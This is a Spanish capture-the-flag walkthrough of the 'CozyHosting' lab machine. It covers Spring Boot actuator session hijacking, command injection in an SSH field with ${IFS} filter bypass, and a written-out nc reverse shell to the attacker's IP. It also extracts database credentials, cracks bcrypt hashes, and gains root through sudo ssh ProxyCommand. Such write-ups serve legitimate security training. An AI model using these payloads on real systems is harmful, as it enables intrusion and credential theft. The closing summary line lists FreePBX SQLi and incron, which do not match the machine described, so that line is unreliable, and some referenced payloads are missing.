Hacemos un escaneo de puertos, encontramos lo siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ sudo nmap -sT -Pn -p- 10.129.8.147 # Encuentra 22,80$ sudo nmap -sT -Pn -p22,80 -sVC 10.129.8.147 # Indica Did not follow redirect to http://cozyhosting.htb, lo añadimos a /etc/hosts$ sudo nmap -sT -Pn -p22,80 -sVC cozyhosting.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)|_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-title: Cozy Hosting - Home
|_http-server-header: nginx/1.18.0 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
22/tcp (OpenSSH 8.9p1): Algunas vulnerabilidades pero no relevantes
80/tcp (nginx 1.18.0): También tiene vulnerabilidades, tampoco son relevantes.
Como nmap ha indicado que nginx distingue entre dominios (por el “Did not follow redirect to…”), enumeramos subdominios, pero, pasado un rato, vemos que no hay ninguno. Dicho esto, vamos a la página principal.
A admin no podemos acceder, index es la página principal, logout nos lleva ahí, y para login no conocemos credenciales, solo queda error.
Si entramos a /error:
Si buscamos más acerca de la info que da el error, encontramos esto:
A Whitelabel Error Page is a default error page displayed by
Spring Boot applications when an exception occurs that hasn’t been handled.
Y sobre Spring Boot:
Spring Boot is an open-source Java framework used for programming standalone, production-grade Spring-based applications with a bundle of libraries that make project startup and management easier.
Si buscamos acerca de los endpoints de Spring Boot, encontramos que hay algunos como /actuator/health. En lugar de ir directamente ahí, voy a /actuator sin más. Encuentro esto.
# http://cozyhosting.htb/actuator/beansMucha información sobre toda la estructura del servidor
1
2
# http://cozyhosting.htb/actuator/healthUP
1
2
# http://cozyhosting.htb/actuator/envVariables de entorno, la mayoría censuradas
1
2
# http://cozyhosting.htb/actuator/mappingsUP
sessions nos ha dado lo que parece un usuario junto a una cookie o ID. En beans aparece repetidamente jar:file:/app/cloudhosting-0.0.1.jar como un archivo interno del servidor, que quizás sea interesante luego, pero de momento no nos ha dado mucho, no se menciona ninguna versión. También aparece el nombre de Tomcat, que posiblemente esté ejecutando la página que vemos.
Para probar con lo que ponía en sessions, vamos a Devtools -> Storage -> Cookies y cambiamos el valor actual de JSESSIONID por el de kanderson.
Ahora recargamos la página:
Abajo vemos que se indica: “For Cozy Scanner to connect the private key that you received upon registration should be included in your host’s .ssh/authorized_keys file.”.
Si el propio servidor tiene añadida a authorized_keys la clave pública que corresponde al par que supuestamente se entregó al usuario al registrarse, entonces podremos conectarnos por ssh.
Ponemos Hostname:cozyhosting.htb, Username:kanderson para probar:
cozyhosting.htb es un dominio válido para el servidor (porque si no diría que no se ha podido resolver), pero la clave privada no es de kanderson.
Si probamos con hostnames localhost o 127.0.0.1, también pone lo mismo. Si cambiamos a, por ejemplo, la IP de nuestra máquina (10.10.16.82) da timeout.
Si cambiamos el nombre de usuario por otros, como root, sigue fallando.
Pasado un rato, pruebo a ver qué está mandando BurpSuite, y, por curiosidad, a dejar algún campo en blanco, como username:
A la derecha vemos que en la respuesta se ve el error que da ssh cuando no le proporcionas argumentos, lo que significa que tenemos una posible inyección de comandos.
Por ejemplo, mandamos lo siguiente:
1
2
3
4
host=localhost&username=test;curl 10.10.16.82:8000/test#
# Para que quede algo como:# $ ssh test;curl 10.10.16.82:8000/test#@localhost ...
Pero se nos indica: “Username can’t contain whitespaces!”
Pero podemos sustituir los espacios con ${IFS}, una variable especial de bash que representa un espacio, un tabulador y un salto de línea, lo podemos usar como espacio y funcionará.
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000(http://0.0.0.0:8000/) ...
10.129.8.147 - - [02/Jun/2026 14:19:31] code 404, message File not found
10.129.8.147 - - [02/Jun/2026 14:19:31]"GET /endpoint HTTP/1.1"404 -
Así que ahora creamos un reverse shell:
1
2
3
4
5
$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.82 4444 >/tmp/f' | sed 's/ /${IFS}/g'rm${IFS}/tmp/f;mkfifo${IFS}/tmp/f;cat${IFS}/tmp/f|/bin/sh${IFS}-i${IFS}2>&1|nc${IFS}10.10.16.82${IFS}4444${IFS}>/tmp/f
# Lo unimos con localhost;...#localhost;rm${IFS}/tmp/f;mkfifo${IFS}/tmp/f;cat${IFS}/tmp/f|/bin/sh${IFS}-i${IFS}2>&1|nc${IFS}10.10.16.82${IFS}4444${IFS}>/tmp/f#
Y lo mandamos, pero no funciona:
1
2
3
4
$ penelope -i 10.10.16.82
[+] Listening for reverse shells on 10.10.16.82:4444
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)[-] Invalid shell from 10.129.8.147 🙄
Esto posiblemente pasa porque el worker del servidor web mata rápidamente a cualquier proceso hijo una vez considera que debería haber acabado de procesarse la respuesta (es decir, al llegar a un timeout).
Así que para solucionar eso, podemos crear un par de claves SSH y subirlas. Primero necesitamos saber como quién se ejecuta el comando. Podemos hacer algo así, y lo recibiremos en la solicitud:
Y nos llega: “cannot access ‘/home/app’: No such file or directory”, así que crear una clave no nos sirve.
Como no podemos usar SSH ni una reverse shell directamente, podemos intentar usar otros métodos que activen la reverse shell más tarde y de forma independiente al worker del Web Server, para que nuestro shell no muera cuando este lo haga.
Y para evitar tener que codificar todo correctamente y molestarnos de más, lo mejor es dejarlo simple. Al servidor solo mandaremos esto:
En Bash, para que un # sea interpretado como el inicio de un comentario, tiene que estar al principio de una palabra, es decir, precedido por un espacio, un salto de línea o un operador de control.
En este caso, la idea es usar ;# para decirle a bash que el comando ha terminado (;), y que detecte todo lo demás a partir del # como un comentario. Si no se añade el punto y coma, Bash interpretará esto como un solo comando bash#cosacomentada:
MAL: curl install.org|bash#cosacomentada
BIEN: curl install.org|bash;#cosacomentada
Esto significa que es bastante probable que otros payloads que también probé al hacer esta máquina sí funcionasen si se añadiese un ; entre el comando final y el #. Es algo de lo que no me dí cuenta hasta el final, pero que era bastante importante para que funcionase cualquier payload.
Y nosotros, hosteado en cosa.sh, tendremos lo siguiente:
Si lo pasamos a nuestra máquina y lo descomprimimos, luego podemos ir a BOOT-INF/classes/application-properties, que contiene datos normalmente importantes:
Aquí tenemos unas credenciales de PostgreSQL, servicio que podemos comprobar que está activo:
1
2
3
4
app@cozyhosting:/app$ netstat -tunlp | grep 5432(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)tcp 00 127.0.0.1:5432 0.0.0.0:* LISTEN -
Nos conectamos a la DB con psql y entramos a cozyhosting:
1
2
3
4
5
6
7
8
9
10
11
app@cozyhosting:/tmp$ psql --username=postgres --password --host=localhost
Password:
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)Type "help"for help.
cozyhosting=# \c cozyhosting Password:
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=#
Ahora revisamos las tablas y sacamos los hashes:
1
2
3
4
5
6
7
8
9
10
11
12
13
cozyhosting=# \d hosts Table "public.hosts" Column | Type | Collation | Nullable | Default
----------+------------------------+-----------+----------+-----------------------------------
id | integer | | not null | nextval('hosts_id_seq'::regclass) username | character varying(50) | | not null |
hostname | character varying(255) | | not null |
cozyhosting=# SELECT * FROM users; name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
Si los metemos a john:
1
2
3
4
5
6
7
$ john hashes --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])Cost 1(iteration count) is 1024for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
Tenemos la contraseña manchesterunited, y si probamos a iniciar sesión como josh:
1
2
3
app@cozyhosting:/tmp$ su josh
Password: #manchesterunitedjosh@cozyhosting:/tmp$
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *
Si buscamos en GTFOBins, encontraremos varios payload. Podemos usar uno de ellos (ProxyCommand):
1
2
3
josh@cozyhosting:~$ sudo /usr/bin/ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x
# whoamiroot
OS: Linux | Dificultad: Easy | Conceptos: CVE Público, Unauthenticated SQLi en FreePBX, RCE vía SQLi, Privesc mediante inyección de comandos con incron.